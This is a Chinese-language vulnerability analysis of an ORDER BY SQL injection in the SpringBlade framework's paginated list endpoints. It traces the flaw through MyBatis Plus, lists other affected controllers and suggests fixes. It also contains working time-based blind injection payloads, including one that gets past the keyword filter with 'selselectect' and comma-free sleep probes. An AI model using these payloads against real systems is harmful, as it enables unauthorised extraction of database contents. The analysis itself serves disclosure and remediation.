SpringBlade中“隐藏”的SQL注入

介绍

某人在SpringBlade中提了一个issue说明项目存在SQL注入漏洞

这个项目在我之前分析网关的未授权访问时就看了一遍SQL语句,在*mapper.xml中看了一圈并没有发现注入点,但是看到有人提出了SQL注入于是决定深入探查一下该SQL注入原因。

如果你看到这篇文章,可以自己尝试阅读代码,看能否找到注入点。如果能自己独立找到,那么这篇文章也就不必往下看了。

代码分析

issue中提到注入点URL为/api/blade-log/api/list?ascs=time and ascii(substring(user() from 1))=97

找到对应的代码文件路径SpringBlade/blade-service/blade-log/src/main/java/org/springblade/core/log/controller/LogApiController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//LogApiController.java

@GetMapping("/list")
public R<IPage<LogApiVo>> list(@ApiIgnore @RequestParam Map<String, Object> log, Query query) {
IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time")), Condition.getQueryWrapper(log, LogApi.class));
List<LogApiVo> records = pages.getRecords().stream().map(logApi -> {
LogApiVo vo = BeanUtil.copy(logApi, LogApiVo.class);
vo.setStrId(Func.toStr(logApi.getId()));
return vo;
}).collect(Collectors.toList());
IPage<LogApiVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal());
pageVo.setRecords(records);
return R.data(pageVo);
}

注意传入list方法中的QueryQuery是组件自带的类,其中有四个值(currentsizeascsdescs)是可以通过前端用户传入进行赋值的。currentsize是integer类型,只能传入数字,无法进行SQL注入,ascsdescs则是string类型,可以传入任意字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Query.java

@Data
@Accessors(chain = true)
@ApiModel(description = "查询条件")
public class Query {
@ApiModelProperty(value = "当前页")
private Integer current;

@ApiModelProperty(value = "每页的数量")
private Integer size;

@ApiModelProperty(hidden = true)
private String ascs;

@ApiModelProperty(hidden = true)
private String descs;
}

例如传入/api/list?current=7&size=77&ascs=seikei&descs=s31k31时,query中参数分别被赋值成Query(current=7, size=77, ascs=seikei, descs=create_time)

调试过程中query中的变量如下

query-variables

回到list方法,其中第二行,将query传入Condition,其中query.setDescs被设置为create_time,所以descs参数就不可控了

1
IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time")), Condition.getQueryWrapper(log, LogApi.class));

调试追到Condition中可以看到query的值,descs被置为create_timeascs还是我们传入的值

condition-query

Condition.IPage()方法中第二、三行有个SqlKeyword.filter(),其中过滤了一些常见的SQL注入关键字,但是非常容易绕过

1
2
3
public static String filter(String param) {
return param == null ? null : param.replaceAll("(?i)'|%|--|insert|delete|select|count|group|union|drop|truncate|alter|grant|execute|exec|xp_cmdshell|call|declare|sql", "");
}

Condition被赋值之后到logService.page(),追到LogAPIServiceSpringBlade/blade-service/blade-log/src/main/java/org/springblade/core/log/service/impl/LogApiServiceImpl.java

但是service中没有任何内容

1
2
3
4
@Service
public class LogApiServiceImpl extends ServiceImpl<LogApiMapper, LogApi> implements ILogApiService {

}

再看看LogApiMapperSpringBlade/blade-service/blade-log/src/main/java/org/springblade/core/log/mapper/LogApiMapper.java),同样其中也没什么内容

1
2
3
public interface LogApiMapper extends BaseMapper<LogApi> {

}

/SpringBlade/blade-service/blade-log/src/main/java/org/springblade/core/log/mapper/LogApiMapper.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="org.springblade.core.log.mapper.LogApiMapper">

<!-- 通用查询映射结果 -->
<resultMap id="logResultMap" type="org.springblade.core.log.model.LogApi">
<result column="id" property="id"/>
<result column="create_time" property="createTime"/>
<result column="service_id" property="serviceId"/>
......
</resultMap>

<!-- 通用查询结果列 -->
<sql id="baseColumnList">
select id,
create_time AS createTime,
service_id, server_host, server_ip, env, type, title, method, request_uri, user_agent, remote_ip, method_class, method_name, params, time, create_by
</sql>
</mapper>

注意其中<sql>标签,其中的语句是没有from和其他内容,仅仅只有select中的内容,没有from,甚至没有参数插入的地方,和常见mybatis配置文件中的SQL语句不一样。

现在发现SQL语句中并没有插入ascs参数的地方,带着疑问,实际测试来看看是否这里真的存在SQL注入?

测试

首先开启mysql的日志记录,方便我们进行测试。

1
2
3
SHOW VARIABLES LIKE 'general%';   # 查看日志开启状态和日志存储位置

set GLOBAL general_log='ON'; # 若未开启日志,也就是general_log为OFF,则设置为ON

开启日志后使用tail -f /var/lib/mysql/mysql.log查看mysql日志。

查看blade_log_api表中是否存在数据,没有的话使用自己随便添加几条数据,方便我们后续测试。

blade_log_api表中有数据存在这点是必须的,因为程序使用mybatis plus在真正的SQL执行前会执行SELECT COUNT(1) FROM blade_log_api查看表中是否存在数据,若不存在数据则不会执行真正要执行的SQL。


我们传入http://localhost:8103/api/list?current=7&size=77&ascs=seikei&descs=s31k31,会在mysql日志中看到如下两条语句被执行

1
2
3
4
5
SELECT COUNT(1) FROM blade_log_api

SELECT id, type, title, service_id, server_ip, server_host, env, remote_ip, user_agent, request_uri, method, method_class, method_name, params, time, create_by, create_time
FROM blade_log_api
ORDER BY seikei ASC, create_time DESC LIMIT 462,77

可以看到ascs参数是在SQL语句中回显的


访问http://localhost:8103/api/list?ascs=time+and+sleep(5)试试注入效果,发现返回延迟了五秒

数据库日志为:

1
2
3
SELECT id, type, title, service_id, server_ip, server_host, env, remote_ip, user_agent, request_uri, method, method_class, method_name, params, time, create_by, create_time 
FROM blade_log_api
ORDER BY time and sleep(5) ASC, create_time DESC LIMIT 0,10

经过测试,除了SqlKeyword.filter()中过滤的字符,还有不能使用逗号,因为mybatis plus会在每个逗号前添加ASC,导致SQL执行错误。

1
2
3
4
5
// 传入内容
time RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))=51) THEN 0x74696d65 ELSE 0x28 END))

// SQL执行内容
time RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR) ASC, 0x20) FROM INFORMATION_SCHEMA.SCHEMATA) ASC, 1 ASC, 1))=51) THEN 0x74696d65 ELSE 0x28 END)) ASC, create_time DESC LIMIT ?,?

所以需要使用无逗号的函数进行注入

判断语句使用:select case when (条件) then 代码1 else 代码2 end

截取字符串使用:select substring(user() from 1 for 4)

只截取一个字符可以省略for,变成substring(user()) from 1


绕过SqlKeyword.filter()中过滤的字符和逗号,可以使用以下payload(当然还有很多种构造payload的方式,我这里只给出最普通的payload)

1
ascs=(selselectect+case+when(ascii(substring(user()+from+1))%3d114)+then+sleep(2)+end)

更换获取user()的位置,并不断修改ascii的值进行遍历,根据延迟就能得到user()完整的值。


来看看issue提交者给出的payload

1
/api/blade-log/api/list?ascs=time and ascii(substring(user() from 1))=97

payload非常精简,用time字段排序成功与否来看ascii(substring(user() from 1))=97表达式是否正确。若user()第一个字符的ascii码等于97时,返回结果中的time字段是由小到大排序的。

但这个payload有几个缺陷

  • 无法广泛适用(需要根据排序值进行判断,编写脚本很难把各种场景做到统一)
  • 容易误报(若正好结果中time从小到大排序就会产生误报)
  • 和数据库版本有关(我在mysql8.0.19中测试order by表达式是不生效的,其他数据库暂未测试)
  • 若是黑盒测试不知道数据库字段名,无法构造payload

再次分析

既然能成功注入,那为什么在代码中没有看到相应的SQL语句呢?

先说结论:Mybatis Plus中已经有写好的分页查询,传入PageQueryWrapper即可自动构建成SQL语句,而SpringBlade为了灵活加上了多个可变参数,导致用户传入的参数被添加到SQL语句order by之后,导致SQL注入产生。这就是为什么在“可见”的代码中看不到SQL语句拼接,因为压根没用到本地的Mybatis Mapper配置文件中的sql语句。


在“可见”的代码中没有找到SQL拼接,我的第一反应就是调用了类库导致的,但是为什么会将用户输入的ascs参数拼接到SQL语句这一点没有弄明白,下面是我个人的分析过程。

经过一段时间的调试,大概搞懂了整个过程的逻辑,SQL执行前的调用栈如下

debug-mybatis

调用栈中看到,在LogApiServiceImpl#page()方法之后,全部都是在类库中执行的,只看代码是看不出任何SQL拼接迹象的。

⚠️:若想理解整个过程需要去看SpringBlade CoreMybatis Plus的源码

LogApiController中的logServiceILogApiService类,继承自Mybatis Plus中的IService

1
2
3
4
5
// ILogApiService.java

public interface ILogApiService extends IService<LogApi> {

}

ILogApiService中是没有重写任何方法的,所以LogApiController中执行的logService.page()最终会调用IService.page()

IService源码

1
2
3
4
5
6
7
8
9
/**
* 翻页查询
*
* @param page 翻页对象
* @param queryWrapper 实体对象封装操作类 {@link com.baomidou.mybatisplus.core.conditions.query.QueryWrapper}
*/
default <E extends IPage<T>> E page(E page, Wrapper<T> queryWrapper) {
return getBaseMapper().selectPage(page, queryWrapper);
}

到了IService.page()之后就是Mybatis Plus内的各种方法调用,以及SQL语句的构造等,不涉及用户传入参数的变更,就不在此赘述,想了解Mybatis Plus的执行过程可以独立分析一下。

找到执行SQL查询的方法后,就是要查明参数是怎么传入的,我们来看pagequeryWrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//LogApiController.java

@GetMapping("/list")
public R<IPage<LogApiVo>> list(@ApiIgnore @RequestParam Map<String, Object> log, Query query) {
IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time")), Condition.getQueryWrapper(log, LogApi.class));
List<LogApiVo> records = pages.getRecords().stream().map(logApi -> {
LogApiVo vo = BeanUtil.copy(logApi, LogApiVo.class);
vo.setStrId(Func.toStr(logApi.getId()));
return vo;
}).collect(Collectors.toList());
IPage<LogApiVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal());
pageVo.setRecords(records);
return R.data(pageVo);
}

参数page来自Condition.getPage()

参数queryWrapper来自Condition.getQueryWrapper()

我们再来看Condition的源码,page是一个Mybatis Plus中的Page类,赋值了传入Query中的四个值(currentsizeascsdescs),Wrapper是一个条件构造器,QueryWrapper则继承自Wrapper,用于构造查询条件。可以把Wrapper理解为SQL的包装器,page则是可插入Wrapper中的数据,如当前页数、排序方式等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/**
* 转化成mybatis plus中的Page
*
* @param query 查询条件
* @return IPage
*/
public static <T> IPage<T> getPage(Query query) {
Page<T> page = new Page<>(Func.toInt(query.getCurrent(), 1), Func.toInt(query.getSize(), 10));
page.setAsc(Func.toStrArray(SqlKeyword.filter(query.getAscs())));
page.setDesc(Func.toStrArray(SqlKeyword.filter(query.getDescs())));
return page;
}

/**
* 获取mybatis plus中的QueryWrapper
*
* @param query 查询条件
* @param clazz 实体类
* @param <T> 类型
* @return QueryWrapper
*/
public static <T> QueryWrapper<T> getQueryWrapper(Map<String, Object> query, Class<T> clazz) {
Kv exclude = Kv.init().set(TokenConstant.HEADER, TokenConstant.HEADER)
.set("current", "current").set("size", "size").set("ascs", "ascs").set("descs", "descs");
return getQueryWrapper(query, exclude, clazz);
}

/**
* 获取mybatis plus中的QueryWrapper
*
* @param query 查询条件
* @param exclude 排除的查询条件
* @param clazz 实体类
* @param <T> 类型
* @return QueryWrapper
*/
public static <T> QueryWrapper<T> getQueryWrapper(Map<String, Object> query, Map<String, Object> exclude, Class<T> clazz) {
exclude.forEach((k, v) -> query.remove(k));
QueryWrapper<T> qw = new QueryWrapper<>();
qw.setEntity(BeanUtil.newInstance(clazz));
SqlKeyword.buildCondition(query, qw);
return qw;
}

知道了数据的传入,还有有一点需要弄明白,SQL语句的内容是从哪来的?

很多人可能默认会想是根据LogApiMapper.xml中获取的,但其实并不是。其中的查询语句只有select部分,缺少from等元素,并且mysql日志的语句和下面语句中查询参数的顺序不一致。实际上SQL语句的构造并没有利用到Mapper配置中的该<sql>

1
2
3
4
5
6
<!-- 通用查询结果列 -->
<sql id="baseColumnList">
select id,
create_time AS createTime,
service_id, server_host, server_ip, env, type, title, method, request_uri, user_agent, remote_ip, method_class, method_name, params, time, create_by
</sql>

我们先来看看IService的声明,使用了<T>泛型

1
public interface IService<T>

ILogApiService继承IService时制定了<LogApi>作为数据类型,其实SQL语句的内容就是通过这个LogApi来构造的。

1
public interface ILogApiService extends IService<LogApi>

来看LogApi的源码,里面定义了一些数据类型,继承LogAbstract,在注解@TableName中声明了数据库。

1
2
3
4
5
6
7
@Data
@TableName("blade_log_api")
public class LogApi extends LogAbstract implements Serializable {
private static final long serialVersionUID = 1L;
private String type; // 日志类型
private String title; // 日志标题
}

LogApi又继承自LogAbstract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@Data
public class LogAbstract implements Serializable {
protected static final long serialVersionUID = 1L;

@TableId(value = "id", type = IdType.ID_WORKER)
protected Long id; // 主键id
protected String serviceId; // 服务ID
protected String serverIp; // 服务器 ip
protected String serverHost; // 服务器名
protected String env; // 环境
protected String remoteIp; // 操作IP地址
protected String userAgent; //用户代理
protected String requestUri; //请求URI
protected String method; // 操作方式
protected String methodClass; // 方法类
protected String methodName; // 方法名
protected String params; // 操作提交的数据
protected String time; // 执行时间
protected String createBy; // 创建人

@DateTimeFormat(pattern = DateUtil.PATTERN_DATETIME)
@JsonFormat(pattern = DateUtil.PATTERN_DATETIME)
protected Date createTime; // 创建时间
}

看到以上数据就能明白,SQL是如何构造出来的。select部分是LogApi中的属性,from部分是通过注解@TableName获取的。

1
2
SELECT id, type, title, service_id, server_ip, server_host, env, remote_ip, user_agent, request_uri, method, method_class, method_name, params, time, create_by, create_time 
FROM blade_log_api

初步构造好SQL语句之后,通过pagequeryWrapper获取到其他需要的值,构造出order by后的内容

1
ORDER BY ascs ASC, create_time DESC LIMIT current*size,size

ascsdescs中有逗号时,Mybatis Plus会以逗号为分隔符,分成多段,并在每段后面添加ASC

比如传入ascs=if(1=1,sleep(1),2)时,构造出来的语句为ORDER BY if(1=1 ASC, sleep(1) ASC, 2) ASC

所以在注入时不能使用逗号,否则会导致SQL语句出错。


除此之外,其他使用Query传入数据,进行page分页查询的功能,若未对ascsdescs覆盖用户传参,就存在同类型的SQL注入。

以下代码中用到了分页查询:

1
2
3
4
5
6
7
8
9
10
11
12
blade-service/blade-log/src/main/java/org/springblade/core/log/controller/LogErrorController.java
blade-service/blade-log/src/main/java/org/springblade/core/log/controller/LogUsualController.java
blade-service/blade-demo/src/main/java/com/example/demo/controller/NoticeController.java
blade-service/blade-desk/src/main/java/org/springblade/desk/controller/NoticeController.java
blade-service/blade-system/src/main/java/org/springblade/system/controller/AuthClientController.java
blade-service/blade-system/src/main/java/org/springblade/system/controller/ParamController.java
blade-service/blade-system/src/main/java/org/springblade/system/controller/PostController.java
blade-service/blade-system/src/main/java/org/springblade/system/controller/RegionController.java
blade-service/blade-system/src/main/java/org/springblade/system/controller/TenantController.java
blade-service/blade-user/src/main/java/org/springblade/system/user/controller/UserController.java
blade-ops/blade-develop/src/main/java/org/springblade/develop/controller/CodeController.java
blade-ops/blade-develop/src/main/java/org/springblade/develop/controller/DatasourceController.java

修复方法

单点修复:当业务功能不需要ascs参数时,将ascs设置为空值,避免被用户传入。

⚠️:order by后面是无法进行预编译的,并且由于使用Mybatis Plus,若想自己独立修改SQL语义成本较大。控制ascs的值是一个非常简洁的解决办法。

若想要通用防护手段,需要将SqlKeyword.filter()的过滤方法加以改进。